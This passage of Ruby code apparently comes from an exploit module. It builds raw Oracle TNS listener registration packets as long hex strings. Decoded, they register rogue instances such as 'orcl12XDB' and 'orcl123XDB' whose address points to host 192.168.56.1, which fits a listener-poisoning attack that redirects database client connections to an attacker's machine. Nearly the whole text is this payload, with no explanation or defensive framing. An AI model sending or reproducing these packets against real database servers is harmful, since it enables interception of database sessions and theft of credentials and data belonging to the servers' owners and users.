"\x00\x00\x00\x00\x00\x00\x00\x00\x18\xa8\x41\x0b\x00\x00\x00\x00" + @regpacket[5] << "\x6f\x72\x63\x6c\x31\x32\x58\x44\x42\x00\x0a\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x60\x29\x44\x32\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x41\x0b\x00\x00" + @regpacket[5] << "\x00\x00\x6f\x72\x63\x6c\x31\x32\x58\x44\x42\x00\x01\x00\x00\x00" + @regpacket[5] << "\x07\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x38\xcf\x6a\x32" + @regpacket[5] << "\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x10\xcf\x6a\x32" + @regpacket[5] << "\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xa7\x41\x0b" + @regpacket[5] << "\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x00\x07\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x00\x38\xcf\x6a\x32\xff\x07\x00\x00\x04\x00\x00\x00\x01" + @regpacket[5] << "\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\x2d\x0b\x00" + @regpacket[5] << "\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x00\x01\x00\x00\x00\x45\x00" + @regpacket[5] << "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x28\x94\xba\x2c\xff\x07" + @regpacket[5] << "\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x66\x4d\x0b\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\xaa\x41\x0b\x00\x00" + @regpacket[5] << "\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28" + @regpacket[5] << "\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f" + @regpacket[5] << "\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e" + @regpacket[5] << "\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31" + @regpacket[5] << "\x35\x32\x31\x29\x29\x29\x00\x45\x00\x00\x00\x00\x00\x00\x00\x28" + @regpacket[5] << "\x94\xba\x2c\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0" + @regpacket[5] << "\xa6\x41\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54" + @regpacket[5] << "\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52" + @regpacket[5] << "\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54" + @regpacket[5] << "\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50" + @regpacket[5] << "\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x01\x00\x00\x00" + @regpacket[5] << "\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97\x41\x0b" + @regpacket[5] << "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x66\x4d\x0b" + @regpacket[5] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\xa8\x41\x0b" + @regpacket[5] << "\x00\x00\x00\x00\x42\x36\x77\x7e\x80\x09\x4b\x5e\x83\xaf\x46\xda" + @regpacket[5] << "\x45\xbe\x75\xe9\x05\x00\x00\x00\x00\x00\x00\x00\x60\x2a\x5f\x2e" + @regpacket[5] << "\xff\x07\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\xd0\x91\x54\x32" + @regpacket[5] << "\xff\x07\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\xfc\x66\x4d\x0b" + @regpacket[5] << "\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00" + @regpacket[5] << "\x01\x00\x00\x00\x18\x40\x43\x32\xff\x07\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\xa0\x97\x41\x0b\x00\x00\x00\x00\x44\x30\x30\x30" + @regpacket[5] << "\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f" + @regpacket[5] << "\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x61\x61" + @regpacket[5] << "\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50" + @regpacket[5] << "\x4f\x52\x54\x3d\x34\x39\x31\x39\x36\x29\x29\x00\x44\x49\x53\x50" + @regpacket[5] << "\x41\x54\x43\x48\x45\x52\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a" + @regpacket[5] << "\x20\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66" + @regpacket[5] << "\x2c\x20\x70\x69\x64\x3a\x20\x32\x35\x32\x38\x3e\x00\x01\x00\x00" + @regpacket[5] << "\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\x2d" + @regpacket[5] << "\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\x2d" + @regpacket[5] << "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x84\x06\x1e\x75\xbc\x55\x47\xe6\xac\x95\xa4" + @regpacket[5] << "\x0c\xac\x8d\x1a\x63\x38\x29\x44\x32\xff\x07\x00\x00\x0a\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x2c\x54\x7b\x47\x01\x00\x00\x00\x3a\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x78\x45\x6c\x32\xff\x07\x00\x00\x0e\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\xf0\x79\x7b\x47\x01\x00\x00\x00\x14\x00\x00" + @regpacket[5] << "\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x58\xcf\x6a" + @regpacket[5] << "\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\x2d" + @regpacket[5] << "\x0b\x00\x00\x00\x00\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00\x28" + @regpacket[5] << "\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f" + @regpacket[5] << "\x4c\x3d\x54\x43\x50\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61" + @regpacket[5] << "\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52" + @regpacket[5] << "\x54\x3d\x31\x35\x32\x31\x29\x29\x00\x52\x45\x4d\x4f\x54\x45\x20" + @regpacket[5] << "\x53\x45\x52\x56\x45\x52\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x60" + @regpacket[5] << "\x29\x44\x32\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01" + @regpacket[5] << "\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x41\x0b\x00\x00\x00\x00\x6f" + @regpacket[5] << "\x72\x63\x6c\x31\x32\x58\x44\x42\x00\x10\xcf\x6a\x32\xff\x07\x00" + @regpacket[5] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x38\xcf\x6a\x32\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00" + @regpacket[5] << "\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\x2d\x0b\x00\x00\x00" + @regpacket[5] << "\x00\x6f\x72\x63\x6c\x31\x32\x00\x00\x00" + + @regpacket[6]="\x05\x9e\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x94\x24\x08" + @regpacket[6] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[6] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[6] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9" + @regpacket[6] << "\x81\x0c\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[6] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[6] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[6] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x05" + @regpacket[6] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x80\xf5\x20\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\xb0\x00\x7c\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\xc8\xa8\x80\x0c\x00\x00\x00\x00\x02\x3d\xd3\xc4\x7f\x21" + @regpacket[6] << "\x49\x41\x87\x5b\x25\x8b\x09\x2f\x1a\x75\x08\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\xd0\x45\x6c\x32\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x88\x02\x7c\x0c\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[6] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x68\xf5\x20\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[6] << "\x33\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73" + @regpacket[6] << "\x64\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00\x0b\x00\x00" + @regpacket[6] << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x98\xc6\xbf\x2c\xff\x07\x00" + @regpacket[6] << "\x00\x02\x00\x00\x00\x00\x00\x00\x00\x70\xc6\xbf\x2c\xff\x07\x00" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\xa7\x80\x0c\x00\x00\x00" + @regpacket[6] << "\x00\x6f\x72\x63\x6c\x31\x32\x33\x58\x44\x42\x00\x0b\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\x98\xc6\xbf\x2c\xff\x07\x00\x00\x05\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x80\x0c" + @regpacket[6] << "\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x58\x44\x42\x00\x01" + @regpacket[6] << "\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x38" + @regpacket[6] << "\xcf\x6a\x32\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x10" + @regpacket[6] << "\xcf\x6a\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0" + @regpacket[6] << "\xa6\x80\x0c\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x00\x08" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x00\x38\xcf\x6a\x32\xff\x07\x00\x00\x04" + @regpacket[6] << "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18" + @regpacket[6] << "\xfc\x20\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x00\x01" + @regpacket[6] << "\x00\x00\x00\x45\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd0" + @regpacket[6] << "\x80\x45\x32\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50" + @regpacket[6] << "\x66\x7c\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80" + @regpacket[6] << "\xa9\x80\x0c\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54" + @regpacket[6] << "\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52" + @regpacket[6] << "\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54" + @regpacket[6] << "\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50" + @regpacket[6] << "\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x45\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\xd0\x80\x45\x32\xff\x07\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\xe0\xa5\x80\x0c\x00\x00\x00\x00\x28\x44\x45\x53" + @regpacket[6] << "\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53" + @regpacket[6] << "\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29" + @regpacket[6] << "\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36" + @regpacket[6] << "\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29" + @regpacket[6] << "\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\xb8\x97\x80\x0c\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x90\x66\x7c\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x10\xa8\x80\x0c\x00\x00\x00\x00\x61\x21\xb8\xfe\xdd\x49\x40" + @regpacket[6] << "\x4c\xa0\x20\x69\xc9\x4d\x59\x8c\xf4\x05\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x60\x2a\x5f\x2e\xff\x07\x00\x00\x3b\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\xd0\x91\x54\x32\xff\x07\x00\x00\x30\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\xfc\x66\x7c\x0c\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00" + @regpacket[6] << "\x00\x04\x10\x00\x00\x01\x00\x00\x00\x40\xc6\xbf\x2c\xff\x07\x00" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x97\x80\x0c\x00\x00\x00" + @regpacket[6] << "\x00\x44\x30\x30\x30\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28" + @regpacket[6] << "\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f" + @regpacket[6] << "\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66" + @regpacket[6] << "\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x34\x39\x32\x30\x30\x29\x29" + @regpacket[6] << "\x00\x44\x49\x53\x50\x41\x54\x43\x48\x45\x52\x20\x3c\x6d\x61\x63" + @regpacket[6] << "\x68\x69\x6e\x65\x3a\x20\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64" + @regpacket[6] << "\x64\x64\x66\x66\x66\x2c\x20\x70\x69\x64\x3a\x20\x33\x37\x36\x3e" + @regpacket[6] << "\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\xd0\xfb\x20\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x90\x99\x20\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\xc7\x00\x3f\x62\x6c\x4e" + @regpacket[6] << "\x72\x8b\x33\xc6\x45\xea\xd1\x64\xd4\x70\xc6\xbf\x2c\xff\x07\x00" + @regpacket[6] << "\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x2c\x54\x7b\x47\x01\x00\x00" + @regpacket[6] << "\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x78\x45\x6c\x32\xff\x07\x00" + @regpacket[6] << "\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0\x79\x7b\x47\x01\x00\x00" + @regpacket[6] << "\x00\x03\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00" + @regpacket[6] << "\x00\x58\xcf\x6a\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[6] << "\x00\xb8\xfb\x20\x0b\x00\x00\x00\x00\x44\x45\x44\x49\x43\x41\x54" + @regpacket[6] << "\x45\x44\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f" + @regpacket[6] << "\x54\x4f\x43\x4f\x4c\x3d\x54\x43\x50\x29\x28\x48\x4f\x53\x54\x3d" + @regpacket[6] << "\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29" + @regpacket[6] << "\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x00\x52\x45\x4d" + @regpacket[6] << "\x4f\x54\x45\x20\x53\x45\x52\x56\x45\x52\x00\x0b\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x98\xc6\xbf\x2c\xff\x07\x00\x00\x05\x00\x00\x00\x00" + @regpacket[6] << "\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x80\x0c\x00" + @regpacket[6] << "\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x58\x44\x42\x00\x10\xcf" + @regpacket[6] << "\x6a\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00" + @regpacket[6] << "\x00\x00\x00\x00\x00\x00\x38\xcf\x6a\x32\xff\x07\x00\x00\x04\x00" + @regpacket[6] << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc" + @regpacket[6] << "\x20\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x00" + + @regpacket[7]="\x05\xa6\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x9c\x24\x08" + @regpacket[7] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[7] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[7] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x58\xea" + @regpacket[7] << "\x49\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[7] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[7] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[7] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x24\x05" + @regpacket[7] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x78\xf5\xcc\x0a\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\xb0\x00\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\xa0\xa9\x48\x0b\x00\x00\x00\x00\xb0\x22\xc8\x9c\x0d\x2d" + @regpacket[7] << "\x42\xda\x93\x55\x97\xfd\x85\x61\x59\x8d\x09\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\xc8\x45\x6c\x32\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x88\x02\x42\x0b\x00\x00\x00\x00\x0b\x00\x00\x00\x64\x00" + @regpacket[7] << "\x00\x00\x03\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x0a\x00" + @regpacket[7] << "\x00\x00\x60\xf5\xcc\x0a\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[7] << "\x33\x34\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73" + @regpacket[7] << "\x73\x64\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00\x0c\x00" + @regpacket[7] << "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x10\x53\x43\x32\xff\x07" + @regpacket[7] << "\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe8\x52\x43\x32\xff\x07" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\xa8\x48\x0b\x00\x00" + @regpacket[7] << "\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x58\x44\x42\x00\x0c\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x10\x53\x43\x32\xff\x07\x00\x00\x05\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f" + @regpacket[7] << "\x48\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x58\x44" + @regpacket[7] << "\x42\x00\x01\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x68\xd4\x69\x32\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x40\xd4\x69\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x78\xa7\x48\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[7] << "\x33\x34\x00\x09\x00\x00\x00\x00\x00\x00\x00\x68\xd4\x69\x32\xff" + @regpacket[7] << "\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06" + @regpacket[7] << "\x00\x00\x00\x10\xfc\xcc\x0a\x00\x00\x00\x00\x6f\x72\x63\x6c\x31" + @regpacket[7] << "\x32\x33\x34\x00\x01\x00\x00\x00\x45\x00\x00\x00\x01\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x28\xa7\x9c\x2c\xff\x07\x00\x00\x03\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x50\x66\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x58\xaa\x48\x0b\x00\x00\x00\x00\x28\x44\x45\x53" + @regpacket[7] << "\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53" + @regpacket[7] << "\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29" + @regpacket[7] << "\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36" + @regpacket[7] << "\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29" + @regpacket[7] << "\x00\x45\x00\x00\x00\x00\x00\x00\x00\x28\xa7\x9c\x2c\xff\x07\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa6\x48\x0b\x00\x00\x00" + @regpacket[7] << "\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41" + @regpacket[7] << "\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c" + @regpacket[7] << "\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31" + @regpacket[7] << "\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35" + @regpacket[7] << "\x32\x31\x29\x29\x29\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\xa8\x97\x48\x0b\x00\x00\x00\x00\x04\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x90\x66\x42\x0b\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\xe8\xa8\x48\x0b\x00\x00\x00\x00\xf0\x97" + @regpacket[7] << "\x10\x65\x2c\xde\x43\x06\x95\x3a\xf5\x69\x19\x42\xa1\x8c\x05\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x60\x2a\x5f\x2e\xff\x07\x00\x00\x3b\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\xc0\x91\x54\x32\xff\x07\x00\x00\x31\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\xfc\x66\x42\x0b\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\xb8\x52" + @regpacket[7] << "\x43\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x90\x97" + @regpacket[7] << "\x48\x0b\x00\x00\x00\x00\x44\x30\x30\x30\x00\x28\x41\x44\x44\x52" + @regpacket[7] << "\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63" + @regpacket[7] << "\x70\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73" + @regpacket[7] << "\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x34\x39" + @regpacket[7] << "\x31\x37\x33\x29\x29\x00\x44\x49\x53\x50\x41\x54\x43\x48\x45\x52" + @regpacket[7] << "\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a\x20\x61\x61\x61\x61\x73" + @regpacket[7] << "\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x2c\x20\x70\x69\x64\x3a" + @regpacket[7] << "\x20\x32\x35\x35\x32\x3e\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\xc8\xfb\xcc\x0a\x00\x00\x00\x00\x04" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\x88\x99\xcc\x0a\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35" + @regpacket[7] << "\x14\xfa\x36\xc2\x96\x42\xcd\xb4\xfd\x77\x4e\xb6\x04\x5a\xb8\xe8" + @regpacket[7] << "\x52\x43\x32\xff\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x2c" + @regpacket[7] << "\x54\x7b\x47\x01\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x70" + @regpacket[7] << "\x45\x6c\x32\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0" + @regpacket[7] << "\x79\x7b\x47\x01\x00\x00\x00\x1b\x00\x00\x00\x95\x00\x00\x00\x02" + @regpacket[7] << "\x00\x00\x00\x02\x00\x00\x00\x90\xd4\x69\x32\xff\x07\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + @regpacket[7] << "\x00\x00\x00\x00\x00\x00\x00\xb0\xfb\xcc\x0a\x00\x00\x00\x00\x44" + @regpacket[7] << "\x45\x44\x49\x43\x41\x54\x45\x44\x00\x28\x41\x44\x44\x52\x45\x53" + @regpacket[7] << "\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x54\x43\x50\x29" + @regpacket[7] << "\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64" + @regpacket[7] << "\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31" + @regpacket[7] << "\x29\x29\x00\x52\x45\x4d\x4f\x54\x45\x20\x53\x45\x52\x56\x45\x52" + @regpacket[7] << 